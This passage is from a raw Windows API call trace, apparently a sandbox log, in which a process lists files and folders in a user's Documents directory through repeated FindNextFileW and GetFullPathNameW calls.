ftLastWriteTime.dwHighDateTime=0x1d5def0, nFileSizeHigh=0x0, nFileSizeLow=0x13d64, dwReserved0=0x0, dwReserved1=0x0, cFileName="qV0-WzSnNbpc5nYlem.mp3", cAlternateFileName="QV0-WZ~1.MP3")) returned 1 [0080.257] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dfe2b30, ftCreationTime.dwHighDateTime=0x1d5d982, ftLastAccessTime.dwLowDateTime=0x75426320, ftLastAccessTime.dwHighDateTime=0x1d5def0, ftLastWriteTime.dwLowDateTime=0x75426320, ftLastWriteTime.dwHighDateTime=0x1d5def0, nFileSizeHigh=0x0, nFileSizeLow=0x13d64, dwReserved0=0x0, dwReserved1=0x0, cFileName="qV0-WzSnNbpc5nYlem.mp3", cAlternateFileName="QV0-WZ~1.MP3")) returned 0 [0080.258] FindClose (in: hFindFile=0x1a62a7d0 | out: hFindFile=0x1a62a7d0) returned 1 [0080.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8e0) returned 1 [0080.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8d0) returned 1 [0080.258] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b6be300, ftCreationTime.dwHighDateTime=0x1d5e0e0, ftLastAccessTime.dwLowDateTime=0xb94d8a40, ftLastAccessTime.dwHighDateTime=0x1d5e2f1, ftLastWriteTime.dwLowDateTime=0xb94d8a40, ftLastWriteTime.dwHighDateTime=0x1d5e2f1, nFileSizeHigh=0x0, nFileSizeLow=0xb49a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MtXh2Pv--40 wWDFTv.odt", cAlternateFileName="MTXH2P~1.ODT")) returned 1 [0080.258] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3aaa730, ftCreationTime.dwHighDateTime=0x1d5df4d, ftLastAccessTime.dwLowDateTime=0xa470a5f0, ftLastAccessTime.dwHighDateTime=0x1d5da5c, ftLastWriteTime.dwLowDateTime=0xa470a5f0, ftLastWriteTime.dwHighDateTime=0x1d5da5c, nFileSizeHigh=0x0, nFileSizeLow=0x1792, dwReserved0=0x0, dwReserved1=0x0, cFileName="nlhsbZ1XzdA44k4H.wav", cAlternateFileName="NLHSBZ~1.WAV")) returned 1 [0080.258] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb1da970, ftCreationTime.dwHighDateTime=0x1d5dbde, ftLastAccessTime.dwLowDateTime=0xe8b75f40, ftLastAccessTime.dwHighDateTime=0x1d5db17, ftLastWriteTime.dwLowDateTime=0xe8b75f40, ftLastWriteTime.dwHighDateTime=0x1d5db17, nFileSizeHigh=0x0, nFileSizeLow=0x143fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="P53o.flv", cAlternateFileName="")) returned 1 [0080.258] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a6b150, ftCreationTime.dwHighDateTime=0x1d5d892, ftLastAccessTime.dwLowDateTime=0x3324db90, ftLastAccessTime.dwHighDateTime=0x1d5e28c, ftLastWriteTime.dwLowDateTime=0x3324db90, ftLastWriteTime.dwHighDateTime=0x1d5e28c, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="PtOjhzy.bmp", cAlternateFileName="")) returned 1 [0080.259] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbe8c7a0, ftCreationTime.dwHighDateTime=0x1d5e2a1, ftLastAccessTime.dwLowDateTime=0xeab0c870, ftLastAccessTime.dwHighDateTime=0x1d5e703, ftLastWriteTime.dwLowDateTime=0xeab0c870, ftLastWriteTime.dwHighDateTime=0x1d5e703, nFileSizeHigh=0x0, nFileSizeLow=0x9b31, dwReserved0=0x0, dwReserved1=0x0, cFileName="THT7aW.mkv", cAlternateFileName="")) returned 1 [0080.259] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ba69870, ftCreationTime.dwHighDateTime=0x1d5e1bf, ftLastAccessTime.dwLowDateTime=0x39c31eb0, ftLastAccessTime.dwHighDateTime=0x1d5d811, ftLastWriteTime.dwLowDateTime=0x39c31eb0, ftLastWriteTime.dwHighDateTime=0x1d5d811, nFileSizeHigh=0x0, nFileSizeLow=0xffb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="uIbgF7eXBKxvLygoiy.mp3", cAlternateFileName="UIBGF7~1.MP3")) returned 1 [0080.259] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87b0cd90, ftCreationTime.dwHighDateTime=0x1d5e516, ftLastAccessTime.dwLowDateTime=0xbb1ca6f0, ftLastAccessTime.dwHighDateTime=0x1d5e06a, ftLastWriteTime.dwLowDateTime=0xbb1ca6f0, ftLastWriteTime.dwHighDateTime=0x1d5e06a, nFileSizeHigh=0x0, nFileSizeLow=0x5ed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UMCqHw4u_u6pa w_.png", cAlternateFileName="UMCQHW~1.PNG")) returned 1 [0080.259] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09ce3c0, ftCreationTime.dwHighDateTime=0x1d5e038, ftLastAccessTime.dwLowDateTime=0xd9b6d060, ftLastAccessTime.dwHighDateTime=0x1d5e0ef, ftLastWriteTime.dwLowDateTime=0xd9b6d060, ftLastWriteTime.dwHighDateTime=0x1d5e0ef, nFileSizeHigh=0x0, nFileSizeLow=0xf689, dwReserved0=0x0, dwReserved1=0x0, cFileName="WtqK.mkv", cAlternateFileName="")) returned 1 [0080.260] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x788d10d0, ftCreationTime.dwHighDateTime=0x1d5e0de, ftLastAccessTime.dwLowDateTime=0x27046e20, ftLastAccessTime.dwHighDateTime=0x1d5e151, ftLastWriteTime.dwLowDateTime=0x27046e20, ftLastWriteTime.dwHighDateTime=0x1d5e151, nFileSizeHigh=0x0, nFileSizeLow=0xc168, dwReserved0=0x0, dwReserved1=0x0, cFileName="xcecGS za.mp4", cAlternateFileName="XCECGS~1.MP4")) returned 1 [0080.260] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x788d10d0, ftCreationTime.dwHighDateTime=0x1d5e0de, ftLastAccessTime.dwLowDateTime=0x27046e20, ftLastAccessTime.dwHighDateTime=0x1d5e151, ftLastWriteTime.dwLowDateTime=0x27046e20, ftLastWriteTime.dwHighDateTime=0x1d5e151, nFileSizeHigh=0x0, nFileSizeLow=0xc168, dwReserved0=0x0, dwReserved1=0x0, cFileName="xcecGS za.mp4", cAlternateFileName="XCECGS~1.MP4")) returned 0 [0080.260] FindClose (in: hFindFile=0x1a578ea0 | out: hFindFile=0x1a578ea0) returned 1 [0080.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e940) returned 1 [0080.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e930) returned 1 [0080.260] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd9ba95a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd9ba95a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0080.260] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0080.261] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0080.261] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0080.261] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0080.261] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0080.261] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0080.261] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0080.261] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0080.261] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0080.261] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0080.261] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0080.261] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0080.261] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0080.261] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0080.262] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0080.262] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0080.262] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0080.262] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0080.262] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0080.262] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0080.262] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0080.262] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0080.262] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e960) returned 1 [0080.262] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x1ca2e450, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0080.262] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", lpFilePart=0x0) returned 0x28 [0080.262] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x1ca2e600 | out: lpFindFileData=0x1ca2e600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd9ba95a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd9ba95a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578ea0 [0080.263] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd9ba95a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd9ba95a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.263] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb70e92b0, ftCreationTime.dwHighDateTime=0x1d57ae6, ftLastAccessTime.dwLowDateTime=0x5cac3620, ftLastAccessTime.dwHighDateTime=0x1d5cdf1, ftLastWriteTime.dwLowDateTime=0x5cac3620, ftLastWriteTime.dwHighDateTime=0x1d5cdf1, nFileSizeHigh=0x0, nFileSizeLow=0x570f, dwReserved0=0x0, dwReserved1=0x0, cFileName="2Fysj-xfy.docx", cAlternateFileName="2FYSJ-~1.DOC")) returned 1 [0080.263] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44640a0, ftCreationTime.dwHighDateTime=0x1d5cd48, ftLastAccessTime.dwLowDateTime=0xff511f40, ftLastAccessTime.dwHighDateTime=0x1d5bf90, ftLastWriteTime.dwLowDateTime=0xff511f40, ftLastWriteTime.dwHighDateTime=0x1d5bf90, nFileSizeHigh=0x0, nFileSizeLow=0xd4ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="8GDukY.xlsx", cAlternateFileName="8GDUKY~1.XLS")) returned 1 [0080.263] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b143ee0, ftCreationTime.dwHighDateTime=0x1d5aa40, ftLastAccessTime.dwLowDateTime=0xdc1e1680, ftLastAccessTime.dwHighDateTime=0x1d57d51, ftLastWriteTime.dwLowDateTime=0xdc1e1680, ftLastWriteTime.dwHighDateTime=0x1d57d51, nFileSizeHigh=0x0, nFileSizeLow=0x184b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="A-AqEZEB7qI3E.docx", cAlternateFileName="A-AQEZ~1.DOC")) returned 1 [0080.264] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4cac63f0, ftCreationTime.dwHighDateTime=0x1d5e415, ftLastAccessTime.dwLowDateTime=0x4998fa60, ftLastAccessTime.dwHighDateTime=0x1d5e09c, ftLastWriteTime.dwLowDateTime=0x4998fa60, ftLastWriteTime.dwHighDateTime=0x1d5e09c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ax3gN", cAlternateFileName="")) returned 1 [0080.264] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", lpFilePart=0x0) returned 0x2d [0080.264] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", lpFilePart=0x0) returned 0x2d [0080.264] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", lpFilePart=0x0) returned 0x2d [0080.264] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", lpFilePart=0x0) returned 0x2d [0080.264] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", lpFilePart=0x0) returned 0x2d [0080.264] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", lpFilePart=0x0) returned 0x2d [0080.264] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", lpFilePart=0x0) returned 0x2d [0080.264] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", lpFilePart=0x0) returned 0x2d [0080.264] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", lpFilePart=0x0) returned 0x2d [0080.264] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", lpFilePart=0x0) returned 0x2d [0080.264] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", lpFilePart=0x0) returned 0x2d [0080.264] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", lpFilePart=0x0) returned 0x2d [0080.265] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", lpFilePart=0x0) returned 0x2d [0080.265] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", lpFilePart=0x0) returned 0x2d [0080.265] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", lpFilePart=0x0) returned 0x2d [0080.265] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", lpFilePart=0x0) returned 0x2d [0080.265] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", lpFilePart=0x0) returned 0x2d [0080.265] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", lpFilePart=0x0) returned 0x2d [0080.265] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", lpFilePart=0x0) returned 0x2d [0080.265] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", lpFilePart=0x0) returned 0x2d [0080.265] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", lpFilePart=0x0) returned 0x2d [0080.265] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", lpFilePart=0x0) returned 0x2d [0080.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e900) returned 1 [0080.265] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", lpFilePart=0x0) returned 0x2d [0080.265] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\", lpFilePart=0x0) returned 0x2e [0080.265] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\*", lpFindFileData=0x1ca2e5a0 | out: lpFindFileData=0x1ca2e5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4cac63f0, ftCreationTime.dwHighDateTime=0x1d5e415, ftLastAccessTime.dwLowDateTime=0x4998fa60, ftLastAccessTime.dwHighDateTime=0x1d5e09c, ftLastWriteTime.dwLowDateTime=0x4998fa60, ftLastWriteTime.dwHighDateTime=0x1d5e09c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a7d0 [0080.266] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4cac63f0, ftCreationTime.dwHighDateTime=0x1d5e415, 